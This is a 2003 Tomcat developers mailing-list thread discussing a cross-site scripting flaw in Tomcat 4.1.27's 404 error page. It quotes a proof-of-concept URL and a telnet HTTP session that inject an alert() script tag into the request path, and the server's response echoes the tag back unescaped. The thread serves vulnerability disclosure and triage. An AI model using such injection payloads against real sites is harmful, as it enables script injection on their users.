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From "Shapira, Yoav" <>
Subject RE: Jakarta Tomcat 4.1 XSS vulnerability
Date Mon, 29 Sep 2003 18:57:21 GMT

I'm not a big security buff, but three things come to mind:
- The original post with the "exploit" is more than a year old, yet we
haven't heard anything about this actually used maliciously -- how come?
- Is it really a vulnerability?  What can you get from this "exploit"?
All I see is tomcat returning a 404 (not found) response with the
javascript specified in the GET request, but javascript is executed on
the client anyhow, so who cares?
- What would the fix be?  Not include the requested URL in the default
404 response page?

Yoav Shapira
Millennium ChemInformatics

>-----Original Message-----
>From: David Rees []
>Sent: Monday, September 29, 2003 2:41 PM
>To: Tomcat Developers List
>Subject: Re: Jakarta Tomcat 4.1 XSS vulnerability
>Anyone know how serious this is?
>It also appears to affect Tomcat 4.1.27 when using mod_jk as well.
>is a sample trace of a HTTP session.
>> telnet localhost 8080
>Connected to localhost.
>Escape character is '^]'.
>GET /666%0a%0a<script>alert("asdf");</script>666.jsp HTTP/1.0
>Host: localhost
>HTTP/1.1 404 /666
>Content-Type: text/html;charset=ISO-8859-1
>Content-Language: en-US
>Date: Mon, 29 Sep 2003 18:39:23 GMT
>Server: Apache Coyote/1.0
>Connection: close
><html><head><title>Apache Tomcat/4.1.27 - Error
>report</title><STYLE><!--H1{font-family : sans-serif,Arial,Tahoma;color
>white;background-color : #0086b2;} H3{font-family :
>sans-serif,Arial,Tahoma;color : white;background-color : #0086b2;}
>BODY{font-family : sans-serif,Arial,Tahoma;color :
>: white;} B{color : white;background-color : #0086b2;} HR{color :
>#0086b2;} --></STYLE> </head><body><h1>HTTP Status 404 - /666
>size="1" noshade><p><b>type</b> Status report</p><p><b>message</b>
><u>The requested resource (/666
is not
>available.</u></p><HR size="1" noshade><h3>Apache
>Tomcat/4.1.27</h3></body></html>Connection closed by foreign host.
>On Sun, September 28, 2003 at 3:14 am, Kan Ogawa sent the following
>> Jakarta Tomcat 4.1 cross-site scripting vulnerability, which was
>> reported last year, is not yet resolved.
>> I verified this vulnerability on Tomcat 4.1.27 with Coyote HTTP/1.1
>> connector.
>> http://localhost:8080/666%0a%0a<script>alert("asdf");</script>666.jsp
>> On the other hand, on Tomcat 5.0, it was not reproduced.
>> Do you neglect to resolve it to Tomcat 4.x, Tomcat committers?
>> Regards,
>> --
>> Kan Ogawa
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